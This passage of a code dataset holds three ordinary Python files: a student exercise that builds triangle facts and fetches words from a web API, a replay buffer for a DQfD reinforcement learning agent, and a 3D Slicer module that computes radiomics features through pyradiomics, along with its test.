equal.format(height=facts_dictionary['height'], base=facts_dictionary ['base'],hypotenuse=facts_dictionary ['hypotenuse'])\n\ndef triangle_master(base, height, return_diagram=False, return_dictionary=False):\n if return_diagram and return_dictionary:\n return {\"diagram\": tell_me_about_this_right_triangle (get_triangle_facts(base, height)), \"facts\": get_triangle_facts(base, height)}\n elif return_diagram:\n return tell_me_about_this_right_triangle (get_triangle_facts(base, height))\n elif return_dictionary:\n return get_triangle_facts(base, height)\n else:\n print(\"You're an odd one, you don't want anything!\")\n\n\ndef wordy_pyramid():\n import requests\n\n url = \"https://us-central1-waldenpondpress.cloudfunctions.net/give_me_a_word?wordlength={len}\"\n \n wordlist = []\n\n def refractor_WP(start,stop,step):\n for i in range(start,stop, step):\n fullurl=url.format(len=i)\n pull = requests.get(fullurl) \n if pull.status_code is 200: \n randword = pull.content \n if randword is None: \n pass\n else:\n randword = str(randword)\n wordlist.append(randword[2:len(randword)-1])\n\n refractor_WP(3,21,2)\n refractor_WP(20,2,-2) \n return wordlist\n\n\ndef get_a_word_of_length_n(length):\n import requests\n\n url = \"https://us-central1-waldenpondpress.cloudfunctions.net/give_me_a_word?wordlength={leng}\"\n if type(length) == int and length >= 3:\n fullurl=url.format(leng=length)\n pull = requests.get(fullurl) \n if pull.status_code is 200: \n wordn = pull.content \n wordn = str(wordn)\n outputword = wordn[2:len(wordn)-1]\n # this retrives the word from the url\n return outputword\n else:\n return None\n\ndef list_of_words_with_lengths(list_of_lengths):\n import requests\n\n list_of_words = []\n\n for i in list_of_lengths:\n url = \"https://us-central1-waldenpondpress.cloudfunctions.net/give_me_a_word?wordlength={leng}\"\n if type(i) == int and i >= 3:\n fullurl=url.format(leng=i)\n pull = requests.get(fullurl) \n if pull.status_code is 200: \n wordn = pull.content \n wordn = str(wordn)\n outputword = wordn[2:len(wordn)-1]\n list_of_words.append(outputword)\n else:\n pass\n\n return list_of_words\n\nif __name__ == \"__main__\":\n list_of_words_with_lengths([4,5,8])","sub_path":"week5/exercise1.py","file_name":"exercise1.py","file_ext":"py","file_size_in_byte":6470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"470492596","text":"import numpy as np\n\nclass DemoReplayBuffer():\n def __init__(self,max_size, input_shape, n_actions):\n self.mem_size=max_size\n self.mem_cntr=0\n\n self.state_memory = [None] * max_size\n self.new_state_memory = [None] * max_size\n self.action_memory = [None] * max_size\n self.reward_memory = [None] * max_size\n self.n_reward_memory = [None] * max_size\n # self.terminal_memory=np.zeros(self.mem_size,dtype=np.uint8)\n self.terminal_memory = [None] * max_size\n \n\n def store_transition(self, state, action, reward, n_reward, next_state, done):\n\n index = self.mem_cntr % self.mem_size\n self.state_memory[index] = state\n self.action_memory[index] = action\n self.reward_memory[index] = reward\n self.n_reward_memory[index] = n_reward\n self.new_state_memory[index] = next_state\n self.terminal_memory[index] = done\n self.mem_cntr += 1\n\n def sample_buffer(self,batch_size):\n max_mem=min(self.mem_cntr, self.mem_size)\n\n batch=np.random.choice(max_mem, batch_size, replace=False).astype(int) #max index of max_mem and shape batchsize. replace=False makes it so indexes aren't repeated\n states=[self.state_memory[i] for i in batch]\n actions=[self.action_memory[i] for i in batch]\n rewards=[self.reward_memory[i] for i in batch]\n n_rewards=[self.n_reward_memory[i] for i in batch]\n next_states=[self.new_state_memory[i] for i in batch]\n dones=[self.terminal_memory[i] for i in batch]\n\n return states, actions, rewards, n_rewards,next_states, dones","sub_path":"Sanjay/DQFDDDQN/utils/demo_replay_buffer.py","file_name":"demo_replay_buffer.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"144921213","text":"import os\nimport vtk, qt, ctk, slicer, logging\nfrom slicer.ScriptedLoadableModule import *\nimport SimpleITK as sitk\nfrom radiomics import featureextractor, getFeatureClasses, setVerbosity\nimport sitkUtils\nimport traceback\n\n\n#\n# SlicerRadiomics\n#\n\nclass SlicerRadiomics(ScriptedLoadableModule):\n \"\"\"Uses ScriptedLoadableModule base class, available at:\n https://github.com/Slicer/Slicer/blob/master/Base/Python/slicer/ScriptedLoadableModule.py\n \"\"\"\n\n def __init__(self, parent):\n ScriptedLoadableModule.__init__(self, parent)\n self.parent.title = 'Radiomics'\n self.parent.categories = ['Informatics']\n self.parent.dependencies = []\n self.parent.contributors = [\"Andrey Fedorov (BWH), Nicole Aucoin (BWH), Jean-Christophe Fillion-Robin (Kitware), \"\n \"Joost van Griethuysen (AVL-NKI), Hugo Aerts (DFCI)\"]\n self.parent.helpText = \"\"\"\n This is a scripted loadable module bundled in the SlicerRadomics extension.\n It gives access to the radiomics feature calculation classes implemented in pyradiomics library.\n See more details at http://pyradiomics.readthedocs.io/.\n \"\"\"\n self.parent.acknowledgementText = \"\"\"\n This work was partially supported by NIH/NCI ITCR program grant U24 CA194354.\n \"\"\"\n\n\n#\n# SlicerRadiomicsWidget\n#\n\nclass SlicerRadiomicsWidget(ScriptedLoadableModuleWidget):\n \"\"\"Uses ScriptedLoadableModuleWidget base class, available at:\n https://github.com/Slicer/Slicer/blob/master/Base/Python/slicer/ScriptedLoadableModule.py\n \"\"\"\n\n def setup(self):\n ScriptedLoadableModuleWidget.setup(self)\n\n # Setup a logger for the extension log messages (child logger of pyradiomics)\n self.logger = logging.getLogger('radiomics.slicer')\n\n # Instantiate and connect widgets ...\n\n #\n # Volume and segmentation input\n #\n self._addInputVolumeSection()\n\n #\n # Extraction Customization Area\n #\n self._addCustomizationSection()\n\n #\n # Output section\n #\n self._addOutputSection()\n\n #\n # Apply Button\n #\n self.applyButton = qt.QPushButton('Apply')\n self.applyButton.toolTip = 'Run the algorithm.'\n self.applyButton.enabled = False\n self.layout.addWidget(self.applyButton)\n\n #\n # Connections\n #\n\n # Input Section\n self.inputVolumeSelector.connect('currentNodeChanged(vtkMRMLNode*)', self.onSelect)\n self.inputMaskSelector.connect('currentNodeChanged(vtkMRMLNode*)', self.onSelect)\n self.inputSegmentationSelector.connect('currentNodeChanged(vtkMRMLNode*)', self.onSelect)\n\n # Customization Section\n self.manualCustomizationRadioButton.connect('toggled(bool)', self.onCustomizationTypeCheckedChanged)\n\n self.calculateAllFeaturesButton.connect('clicked(bool)', self.onCalculateAllFeaturesButton)\n self.calculateNoFeaturesButton.connect('clicked(bool)', self.onCalculateNoFeaturesButton)\n\n self.parameterFilePathLineEdit.connect('currentPathChanged(QString)', self.onSelect)\n\n # General Section\n self.applyButton.connect('clicked(bool)', self.onApplyButton)\n\n # Add vertical spacer\n self.layout.addStretch(1)\n\n # Refresh Apply button state\n self.onSelect()\n\n def _addInputVolumeSection(self):\n inputVolumeCollapsibleButton = ctk.ctkCollapsibleButton()\n inputVolumeCollapsibleButton.text = 'Select Input Volume and Segmentation'\n self.layout.addWidget(inputVolumeCollapsibleButton)\n\n # Layout within the dummy collapsible button\n inputVolumeFormLayout = qt.QFormLayout(inputVolumeCollapsibleButton)\n\n #\n # input volume selector\n #\n self.inputVolumeSelector = slicer.qMRMLNodeComboBox()\n self.inputVolumeSelector.nodeTypes = ['vtkMRMLScalarVolumeNode']\n self.inputVolumeSelector.selectNodeUponCreation = True\n self.inputVolumeSelector.addEnabled = False\n self.inputVolumeSelector.removeEnabled = False\n self.inputVolumeSelector.noneEnabled = False\n self.inputVolumeSelector.showHidden = False\n self.inputVolumeSelector.showChildNodeTypes = False\n self.inputVolumeSelector.setMRMLScene(slicer.mrmlScene)\n self.inputVolumeSelector.setToolTip('Pick the input image for the feature calculation.')\n inputVolumeFormLayout.addRow('Input Image Volume: ', self.inputVolumeSelector)\n\n #\n # input mask volume selector\n #\n self.inputMaskSelector = slicer.qMRMLNodeComboBox()\n self.inputMaskSelector.nodeTypes = ['vtkMRMLLabelMapVolumeNode']\n self.inputMaskSelector.selectNodeUponCreation = True\n self.inputMaskSelector.addEnabled = False\n self.inputMaskSelector.removeEnabled = False\n self.inputMaskSelector.noneEnabled = True\n self.inputMaskSelector.showHidden = False\n self.inputMaskSelector.showChildNodeTypes = False\n self.inputMaskSelector.setMRMLScene(slicer.mrmlScene)\n self.inputMaskSelector.setToolTip('Pick the input mask for the feature calculation.')\n inputVolumeFormLayout.addRow('Input LabelMap: ', self.inputMaskSelector)\n\n #\n # input segmentation selector\n #\n self.inputSegmentationSelector = slicer.qMRMLNodeComboBox()\n self.inputSegmentationSelector.nodeTypes = ['vtkMRMLSegmentationNode']\n self.inputSegmentationSelector.selectNodeUponCreation = True\n self.inputSegmentationSelector.addEnabled = False\n self.inputSegmentationSelector.removeEnabled = False\n self.inputSegmentationSelector.noneEnabled = True\n self.inputSegmentationSelector.showHidden = False\n self.inputSegmentationSelector.showChildNodeTypes = False\n self.inputSegmentationSelector.setMRMLScene(slicer.mrmlScene)\n self.inputSegmentationSelector.setToolTip('Pick the input segmentation for the feature calculation.')\n inputVolumeFormLayout.addRow('Input Segmentation: ', self.inputSegmentationSelector)\n\n def _addCustomizationSection(self):\n customizationCollapsibleButton = ctk.ctkCollapsibleButton()\n customizationCollapsibleButton.text = 'Extraction Customization'\n customizationCollapsibleButton.collapsed = True\n self.layout.addWidget(customizationCollapsibleButton)\n\n customizationFormLayout = qt.QFormLayout(customizationCollapsibleButton)\n\n #\n # Radiobuttons to select customization Type\n #\n\n self.manualCustomizationRadioButton = qt.QRadioButton()\n self.manualCustomizationRadioButton.text = 'Manual Customization'\n self.manualCustomizationRadioButton.checked = True\n customizationFormLayout.layout().addWidget(self.manualCustomizationRadioButton)\n\n self.parameterFileCustomizationRadioButton = qt.QRadioButton()\n self.parameterFileCustomizationRadioButton.text = 'Parameter File Customization'\n self.parameterFileCustomizationRadioButton.checked = False\n customizationFormLayout.layout().addWidget(self.parameterFileCustomizationRadioButton)\n\n #\n # Manual Customization\n #\n self.manualCustomizationGroupBox = qt.QGroupBox('Manual Customization')\n self.manualCustomizationGroupBox.visible = True\n # self.manualCustomizationGroupBox.checkable = True\n customizationFormLayout.addWidget(self.manualCustomizationGroupBox)\n\n manualCustomizationFormLayout = qt.QFormLayout(self.manualCustomizationGroupBox)\n\n # Feature Class section\n featureClassCollapsibleButton = ctk.ctkCollapsibleButton()\n featureClassCollapsibleButton.text = 'Feature Classes'\n featureClassCollapsibleButton.collapsed = False\n manualCustomizationFormLayout.addWidget(featureClassCollapsibleButton)\n\n featureClassLayout = qt.QFormLayout(featureClassCollapsibleButton)\n\n self.featuresLayout = qt.QHBoxLayout()\n featureClassLayout.addRow('Features:', self.featuresLayout)\n\n self.featuresButtonGroup = qt.QButtonGroup(self.featuresLayout)\n self.featuresButtonGroup.exclusive = False\n\n # Get the feature classes dynamically\n self.features = getFeatureClasses().keys()\n # Create a checkbox for each feature\n featureButtons = {}\n for feature in self.features:\n featureButtons[feature] = qt.QCheckBox(feature)\n # TODO: decide which features to enable by default\n featureButtons[feature].checked = False\n if feature == 'firstorder':\n featureButtons[feature].checked = True\n self.featuresButtonGroup.addButton(featureButtons[feature])\n self.featuresLayout.layout().addWidget(featureButtons[feature])\n # set the ID to be the index of this feature in the list\n self.featuresButtonGroup.setId(featureButtons[feature], self.features.index(feature))\n\n # Add buttons to select all or none\n self.buttonsLayout = qt.QHBoxLayout()\n featureClassLayout.addRow('Toggle Features:', self.buttonsLayout)\n\n self.calculateAllFeaturesButton = qt.QPushButton('All Features')\n self.calculateAllFeaturesButton.toolTip = 'Calculate all feature classes.'\n self.calculateAllFeaturesButton.enabled = True\n self.buttonsLayout.addWidget(self.calculateAllFeaturesButton)\n self.calculateNoFeaturesButton = qt.QPushButton('No Features')\n self.calculateNoFeaturesButton.toolTip = 'Calculate no feature classes.'\n self.calculateNoFeaturesButton.enabled = True\n self.buttonsLayout.addWidget(self.calculateNoFeaturesButton)\n\n # Resampling and Filtering\n filteringCollapsibleButton = ctk.ctkCollapsibleButton()\n filteringCollapsibleButton.text = 'Resampling and Filtering'\n filteringCollapsibleButton.collapsed = False\n manualCustomizationFormLayout.addRow(filteringCollapsibleButton)\n # Layout within the dummy collapsible button\n filteringFormLayout = qt.QFormLayout(filteringCollapsibleButton)\n\n # Resampling\n self.resampledVoxelSize = qt.QLineEdit()\n self.resampledVoxelSize.toolTip = 'Three floating-point numbers separated by comma defining the resampled pixel ' \\\n 'size (mm).'\n filteringFormLayout.addRow('Resampled voxel size', self.resampledVoxelSize)\n\n # LoG kernel sizes. default to 5 (?)\n self.logKernelSizes = qt.QLineEdit()\n self.logKernelSizes.toolTip = 'Laplacian of Gaussian filter kernel sizes (mm), separated by comma. ' \\\n 'If empty, no LoG filtering will be applied.'\n filteringFormLayout.addRow('LoG kernel sizes', self.logKernelSizes)\n\n # Wavelet\n self.waveletCheckBox = qt.QCheckBox()\n self.waveletCheckBox.checked = 0\n self.waveletCheckBox.toolTip = 'If checked, PyRadiomics will calculate features on the image after applying ' \\\n 'wavelet transformation'\n filteringFormLayout.addRow('Wavelet-based features', self.waveletCheckBox)\n\n #\n # Feature calculation settings\n #\n settingsCollapsibleButton = ctk.ctkCollapsibleButton()\n settingsCollapsibleButton.text = 'Settings'\n settingsCollapsibleButton.collapsed = False\n manualCustomizationFormLayout.addWidget(settingsCollapsibleButton)\n\n # Layout within the dummy collapsible button\n settingsFormLayout = qt.QFormLayout(settingsCollapsibleButton)\n\n # bin width, defaults to 25\n self.binWidthSliderWidget = ctk.ctkSliderWidget()\n self.binWidthSliderWidget.singleStep = 1\n self.binWidthSliderWidget.decimals = 2\n self.binWidthSliderWidget.minimum = 0.01\n self.binWidthSliderWidget.maximum = 100\n self.binWidthSliderWidget.value = 25\n self.binWidthSliderWidget.toolTip = 'Set the bin width'\n settingsFormLayout.addRow('Bin Width', self.binWidthSliderWidget)\n\n # symmetricalGLCM flag, defaults to false\n self.symmetricalGLCMCheckBox = qt.QCheckBox()\n self.symmetricalGLCMCheckBox.checked = 1\n self.symmetricalGLCMCheckBox.toolTip = 'Use a symmetrical GLCM matrix'\n settingsFormLayout.addRow('Enforce Symmetrical GLCM', self.symmetricalGLCMCheckBox)\n\n #\n # Parameter File Customization\n #\n\n self.parameterCustomizationGroupBox = qt.QGroupBox('Parameter File Customization')\n self.parameterCustomizationGroupBox.visible = False\n # self.parameterCustomizationGroupBox.checkable = True\n customizationFormLayout.addWidget(self.parameterCustomizationGroupBox)\n\n parameterCustomizationFormLayout = qt.QFormLayout(self.parameterCustomizationGroupBox)\n\n # Pathe edit to select parameter file\n self.parameterFilePathLineEdit = ctk.ctkPathLineEdit(filters=ctk.ctkPathLineEdit.Files)\n parameterCustomizationFormLayout.addRow(\"Parameter File\", self.parameterFilePathLineEdit)\n\n def _addOutputSection(self):\n outputCollapsibleButton = ctk.ctkCollapsibleButton()\n outputCollapsibleButton.text = 'Output'\n self.layout.addWidget(outputCollapsibleButton)\n\n outputFormLayout = qt.QFormLayout(outputCollapsibleButton)\n\n # verbose logging flag, defaults to false\n self.verboseCheckBox = qt.QCheckBox()\n self.verboseCheckBox.checked = 0\n self.verboseCheckBox.toolTip = 'If checked, PyRadiomics outputs log messages from level DEBUG and higher ' \\\n '(instead of INFO and higher)'\n outputFormLayout.addRow('Verbose Output', self.verboseCheckBox)\n\n # Output Table\n self.outputTableSelector = slicer.qMRMLNodeComboBox()\n self.outputTableSelector.nodeTypes = ['vtkMRMLTableNode']\n self.outputTableSelector.addEnabled = True\n self.outputTableSelector.selectNodeUponCreation = True\n self.outputTableSelector.renameEnabled = True\n self.outputTableSelector.removeEnabled = True\n self.outputTableSelector.noneEnabled = False\n self.outputTableSelector.setMRMLScene(slicer.mrmlScene)\n self.outputTableSelector.toolTip = 'Select the table where features will be saved, resets feature values on ' \\\n 'each run.'\n outputFormLayout.addRow('Output table:', self.outputTableSelector)\n\n def cleanup(self):\n pass\n\n def onSelect(self):\n self.applyButton.enabled = (\n self.inputVolumeSelector.currentNode() # Input volume selected\n and (self.inputMaskSelector.currentNode() # Some form of segmentation selected\n or self.inputSegmentationSelector.currentNode())\n and (self.manualCustomizationRadioButton.checked # Customization defined\n or os.path.isfile(self.parameterFilePathLineEdit.currentPath))\n )\n\n def onCustomizationTypeCheckedChanged(self):\n self.manualCustomizationGroupBox.visible = self.manualCustomizationRadioButton.checked\n self.parameterCustomizationGroupBox.visible = self.parameterFileCustomizationRadioButton.checked\n\n self.onSelect() # Refresh state of the apply button\n\n def getCheckedFeatureClasses(self):\n checkedFeatures = []\n featureButtons = self.featuresButtonGroup.buttons()\n for featureButton in featureButtons:\n if featureButton.checked:\n featureIndex = self.featuresButtonGroup.id(featureButton)\n feature = self.features[featureIndex]\n checkedFeatures.append(feature)\n return checkedFeatures\n\n def onCalculateAllFeaturesButton(self):\n featureButtons = self.featuresButtonGroup.buttons()\n for featureButton in featureButtons:\n featureButton.checked = True\n\n def onCalculateNoFeaturesButton(self):\n featureButtons = self.featuresButtonGroup.buttons()\n for featureButton in featureButtons:\n featureButton.checked = False\n\n def onApplyButton(self):\n if self.verboseCheckBox.checked:\n # Setup debug logging for the pyradiomics toolbox\n # PyRadiomics logs to stderr by default, which is picked up by slicer and added to the slicer log.\n setVerbosity(logging.DEBUG)\n else:\n setVerbosity(logging.WARNING)\n\n if not self.outputTableSelector.currentNode():\n tableNode = slicer.vtkMRMLTableNode()\n slicer.mrmlScene.AddNode(tableNode)\n self.outputTableSelector.setCurrentNode(tableNode)\n\n logic = SlicerRadiomicsLogic()\n\n # Lock GUI\n self.applyButton.text = 'Working...'\n self.applyButton.setEnabled(False)\n slicer.app.processEvents()\n\n imageNode = self.inputVolumeSelector.currentNode()\n labelNode = self.inputMaskSelector.currentNode()\n segmentationNode = self.inputSegmentationSelector.currentNode()\n\n if self.manualCustomizationRadioButton.checked:\n # Set up customization\n featureClasses = self.getCheckedFeatureClasses()\n settings = {}\n settings['binWidth'] = self.binWidthSliderWidget.value\n settings['symmetricalGLCM'] = self.symmetricalGLCMCheckBox.checked\n\n enabledImageTypes = {'Original': {}}\n\n logKernelSizesValue = self.logKernelSizes.text\n if logKernelSizesValue:\n try:\n enabledImageTypes['LoG'] = {'sigma': [float(i) for i in logKernelSizesValue.split(',')]}\n except:\n self.logger.error('Failed to parse LoG sigma value from string \\\"' + logKernelSizesValue + '\\\"')\n traceback.print_exc()\n return\n\n resampledVoxelSizeValue = self.resampledVoxelSize.text\n if resampledVoxelSizeValue:\n try:\n settings['resampledPixelSpacing'] = [float(i) for i in resampledVoxelSizeValue.split(',')]\n except:\n self.logger.error('Failed to parse resampled voxel spacing from string \\\"' + resampledVoxelSizeValue + '\\\"')\n settings['resampledPixelSpacing'] = None\n traceback.print_exc()\n return\n\n if self.waveletCheckBox.checked:\n enabledImageTypes['Wavelet'] = {}\n\n # Compute features\n try:\n featuresDict = logic.run(imageNode, labelNode, segmentationNode, featureClasses, settings, enabledImageTypes)\n logic.exportToTable(featuresDict, self.outputTableSelector.currentNode())\n except:\n self.logger.error(\"Feature calculation failed.\")\n traceback.print_exc()\n\n else:\n # Compute Features\n try:\n parameterFile = self.parameterFilePathLineEdit.currentPath\n featuresDict = logic.runWithParameterFile(imageNode, labelNode, segmentationNode, parameterFile)\n logic.exportToTable(featuresDict, self.outputTableSelector.currentNode())\n except:\n self.logger.error(\"Feature calculation failed.\")\n traceback.print_exc()\n\n # Unlock GUI\n self.applyButton.setEnabled(True)\n self.applyButton.text = 'Apply'\n\n # Show results\n logic.showTable(self.outputTableSelector.currentNode())\n\n\n#\n# SlicerRadiomicsLogic\n#\n\nclass SlicerRadiomicsLogic(ScriptedLoadableModuleLogic):\n \"\"\"This class should implement all the actual\n computation done by your module. The interface\n should be such that other python code can import\n this class and make use of the functionality without\n requiring an instance of the Widget.\n Uses ScriptedLoadableModuleLogic base class, available at:\n https://github.com/Slicer/Slicer/blob/master/Base/Python/slicer/ScriptedLoadableModule.py\n \"\"\"\n\n def __init__(self):\n self.featureValues = {}\n\n self.logger = logging.getLogger('radiomics.slicer')\n\n self.logger.debug('Slicer Radiomics logic initialized')\n\n def hasImageData(self, volumeNode):\n \"\"\"This is an example logic method that\n returns true if the passed in volume\n node has valid image data\n \"\"\"\n self.logger.debug('Checking if volume has image data')\n\n if not volumeNode:\n self.logger.debug('hasImageData failed: no volume node')\n return False\n if volumeNode.GetImageData() is None:\n self.logger.debug('hasImageData failed: no image data in volume node')\n return False\n return True\n\n def prepareLabelsFromLabelmap(self, labelmapNode, grayscaleImage, labelsDict):\n\n combinedLabelImage = sitk.ReadImage(sitkUtils.GetSlicerITKReadWriteAddress(labelmapNode.GetName()))\n resampledLabelImage = self.resampleITKLabel(combinedLabelImage, grayscaleImage)\n\n ls = sitk.LabelStatisticsImageFilter()\n ls.Execute(resampledLabelImage, resampledLabelImage)\n th = sitk.BinaryThresholdImageFilter()\n th.SetInsideValue(1)\n th.SetOutsideValue(0)\n\n for l in ls.GetLabels()[1:]:\n th.SetUpperThreshold(l)\n th.SetLowerThreshold(l)\n labelsDict[labelmapNode.GetName() + \"_label_\" + str(l)] = th.Execute(combinedLabelImage)\n\n return labelsDict\n\n def prepareLabelsFromSegmentation(self, segmentationNode, grayscaleImage, labelsDict):\n import vtkSegmentationCorePython as vtkSegmentationCore\n segLogic = slicer.modules.segmentations.logic()\n\n segmentation = segmentationNode.GetSegmentation()\n binaryRepresentationDef = vtkSegmentationCore.vtkSegmentationConverter.GetSegmentationBinaryLabelmapRepresentationName()\n if not segmentation.ContainsRepresentation(binaryRepresentationDef):\n segmentation.CreateRepresentation(binaryRepresentationDef)\n\n segmentLabelmapNode = slicer.vtkMRMLLabelMapVolumeNode()\n slicer.mrmlScene.AddNode(segmentLabelmapNode)\n\n for segmentID in range(segmentation.GetNumberOfSegments()):\n segment = segmentation.GetNthSegment(segmentID)\n segmentLabelmap = segment.GetRepresentation(\n vtkSegmentationCore.vtkSegmentationConverter.GetSegmentationBinaryLabelmapRepresentationName())\n if not segLogic.CreateLabelmapVolumeFromOrientedImageData(segmentLabelmap, segmentLabelmapNode):\n self.logger.error(\"Failed to convert label map\")\n return labelsDict\n labelmapImage = sitk.ReadImage(sitkUtils.GetSlicerITKReadWriteAddress(segmentLabelmapNode.GetName()))\n labelmapImage = self.resampleITKLabel(labelmapImage, grayscaleImage)\n labelsDict[segmentationNode.GetName() + \"_segment_\" + segment.GetName()] = labelmapImage\n\n displayNode = segmentLabelmapNode.GetDisplayNode()\n if displayNode:\n slicer.mrmlScene.RemoveNode(displayNode)\n slicer.mrmlScene.RemoveNode(segmentLabelmapNode)\n\n return labelsDict\n\n def calculateFeatures(self, imageNode, labelNode, segmentationNode, extractor):\n \"\"\"\n Calculate the feature on the image node for each ROI contained in the labelNode and/or the segmentation node, using\n an instantiated RadiomicsFeatureExtractor (with customization already configured).\n \"\"\"\n # Prepare the input volume\n self.logger.debug('Read the input image node')\n grayscaleImage = sitk.ReadImage(sitkUtils.GetSlicerITKReadWriteAddress(imageNode.GetName()))\n\n # Prepare the input label map\n self.logger.debug('Read and prepare the input ROI(s)')\n labelsDict = {}\n if labelNode:\n labelsDict = self.prepareLabelsFromLabelmap(labelNode, grayscaleImage, labelsDict)\n if segmentationNode:\n labelsDict = self.prepareLabelsFromSegmentation(segmentationNode, grayscaleImage, labelsDict)\n\n # Calculate the features\n featuresDict = {}\n for l in labelsDict.keys():\n self.logger.debug(\"Calculating features for \" + l)\n try:\n self.logger.debug('Starting feature calculation')\n featuresDict[l] = extractor.execute(grayscaleImage, labelsDict[l])\n self.logger.debug('Features calculated')\n except:\n self.logger.error('calculateFeatures() failed')\n traceback.print_exc()\n\n return featuresDict\n\n def exportToTable(self, featuresDict, table):\n \"\"\"\n Export features to table node\n \"\"\"\n self.logger.debug('Exporting to table')\n tableWasModified = table.StartModify()\n table.RemoveAllColumns()\n\n # Define table columns\n for k in ['Label', 'Image type', 'Feature Class', 'Feature Name', 'Value']:\n col = table.AddColumn()\n col.SetName(k)\n # Fill columns\n for label, features in featuresDict.items():\n for featureKey, featureValue in features.items():\n processingType, featureClass, featureName = str(featureKey).split(\"_\", 3)\n rowIndex = table.AddEmptyRow()\n table.SetCellText(rowIndex, 0, label)\n table.SetCellText(rowIndex, 1, processingType)\n table.SetCellText(rowIndex, 2, featureClass)\n table.SetCellText(rowIndex, 3, featureName)\n table.SetCellText(rowIndex, 4, str(featureValue))\n\n table.Modified()\n table.EndModify(tableWasModified)\n\n def showTable(self, table):\n \"\"\"\n Switch to a layout where tables are visible and show the selected one.\n \"\"\"\n self.logger.debug('Showing table')\n currentLayout = slicer.app.layoutManager().layout\n layoutWithTable = slicer.modules.tables.logic().GetLayoutWithTable(currentLayout)\n slicer.app.layoutManager().setLayout(layoutWithTable)\n slicer.app.applicationLogic().GetSelectionNode().SetReferenceActiveTableID(table.GetID())\n slicer.app.applicationLogic().PropagateTableSelection()\n\n def resampleITKLabel(self, image, reference):\n resampler = sitk.ResampleImageFilter()\n resampler.SetInterpolator(sitk.sitkNearestNeighbor)\n resampler.SetReferenceImage(reference)\n return resampler.Execute(image)\n\n def run(self, imageNode, labelNode, segmentationNode, featureClasses, settings, enabledImageTypes):\n \"\"\"\n Run the actual algorithm\n \"\"\"\n self.logger.info('Feature extraction started')\n\n self.logger.debug('Instantiating the extractor')\n\n extractor = featureextractor.RadiomicsFeaturesExtractor(**settings)\n\n self.logger.debug('Setting the enabled feature classes')\n extractor.disableAllFeatures()\n for feature in featureClasses:\n extractor.enableFeatureClassByName(feature)\n\n self.logger.debug('Setting the enabled image types')\n extractor.disableAllImageTypes()\n for imageType in enabledImageTypes:\n extractor.enableImageTypeByName(imageType, customArgs=enabledImageTypes[imageType])\n\n return self.calculateFeatures(imageNode, labelNode, segmentationNode, extractor)\n\n def runWithParameterFile(self, imageNode, labelNode, segmentationNode, parameterFilePath):\n \"\"\"\n Run the actual algorithm using the provided customization file and provided image and region of interest(s) (ROIs)\n\n :param imageNode: Slicer Volume node representing the image from which features should be extracted\n :param labelNode: Slicer Labelmap node containing the ROIs as integer encoded volume (voxel value indicates ROI id)\n :param segmentationNode: Slicer segmentation node containing the segments of the ROIs (will be converted to binary\n label maps)\n :param parameterFilePath: String file path pointing to the parameter file used to customize the extraction\n :return: Dictionary containing the extracted features for each ROI\n \"\"\"\n self.logger.info('Feature extraction started')\n\n self.logger.debug('Instantiating the extractor')\n\n # Instantiate the extractor with the specified customization file. If this file is invalid in any way, this call\n # will raise an error.\n extractor = featureextractor.RadiomicsFeaturesExtractor(parameterFilePath)\n\n return self.calculateFeatures(imageNode, labelNode, segmentationNode, extractor)\n\n\n# noinspection PyAttributeOutsideInit\nclass SlicerRadiomicsTest(ScriptedLoadableModuleTest):\n \"\"\"\n This is the test case for your scripted module.\n Uses ScriptedLoadableModuleTest base class, available at:\n https://github.com/Slicer/Slicer/blob/master/Base/Python/slicer/ScriptedLoadableModule.py\n \"\"\"\n\n def setUp(self):\n \"\"\" Do whatever is needed to reset the state - typically a scene clear will be enough.\n \"\"\"\n self.logger = logging.getLogger('radiomics.slicer')\n\n slicer.mrmlScene.Clear(0)\n\n def runTest(self):\n \"\"\"Run as few or as many tests as needed here.\n \"\"\"\n self.setUp()\n self.test_SlicerRadiomics1()\n\n def test_SlicerRadiomics1(self):\n \"\"\" Ideally you should have several levels of tests. At the lowest level\n tests should exercise the functionality of the logic with different inputs\n (both valid and invalid). At higher levels your tests should emulate the\n way the user would interact with your code and confirm that it still works\n the way you intended.\n One of the most important features of the tests is that it should alert other\n developers when their changes will have an impact on the behavior of your\n module. For example, if a developer removes a feature that you depend on,\n your test should break so they know that the feature is needed.\n \"\"\"\n\n self.delayDisplay('Starting the test')\n #\n # first, get some data\n # https://github.com/Radiomics/SlicerRadiomics/releases/download/TestData-v1.0.0/lung1_binary.seg.nrrd\n import urllib\n dataRelease = 'v1.0.0'\n dataURLPrefix = 'https://github.com/Radiomics/SlicerRadiomics/releases/download/TestData'\n dataItems = (('lung1_image.nrrd', slicer.util.loadVolume),\n ('lung1_label.nrrd', slicer.util.loadLabelVolume),\n ('lung1_binary.seg.nrrd', slicer.util.loadSegmentation),\n ('lung1.seg_0.vtp', None),\n ('lung1.seg_1.vtp', None),\n ('lung1_surface.seg.vtm', slicer.util.loadSegmentation),\n ('Params.yaml', None))\n\n for item, loader in dataItems:\n url = dataURLPrefix + '-' + dataRelease + '/' + item\n filePath = os.path.join(slicer.app.temporaryPath, item)\n if not os.path.exists(filePath) or os.stat(filePath).st_size == 0:\n self.logger.info('Requesting download %s from %s...\\n' % (item, url))\n self.assertTrue(urllib.urlretrieve(url, filePath), 'Failed to download from ' + url)\n if loader:\n self.logger.info('Loading %s from %s...' % (item, filePath))\n self.assertTrue(loader(filePath), 'Failed to load ' + item)\n\n self.delayDisplay(\n 'Finished with download and loading %d volumes' % (slicer.mrmlScene.GetNumberOfNodesByClass('vtkMRMLVolumeNode')))\n\n grayscaleNode = slicer.util.getNode(pattern='lung1_image')\n labelmapNode = slicer.util.getNode(pattern='lung1_label')\n binaryNode = slicer.util.getNode(pattern='lung1_binary')\n surfaceNode = slicer.util.getNode(pattern='lung1_surface')\n\n parameterFile = os.path.join(slicer.app.temporaryPath, 'Params.yaml')\n\n logic = SlicerRadiomicsLogic()\n self.assertIsNotNone(logic.hasImageData(grayscaleNode))\n self.assertIsNotNone(logic.hasImageData(labelmapNode))\n\n featureClasses = ['firstorder']\n settings = {}\n settings['binWidth'] = 25\n settings['symmetricalGLCM'] = False\n settings['label'] = 1\n\n enabledImageTypes = {\"Original\": {}}\n\n for segNode in [binaryNode, surfaceNode]:\n featuresDict = logic.run(grayscaleNode, labelmapNode, segNode, featureClasses, settings, enabledImageTypes)\n\n tableNode = slicer.vtkMRMLTableNode()\n tableNode.SetName('lung1_label and ' + segNode.GetName())\n 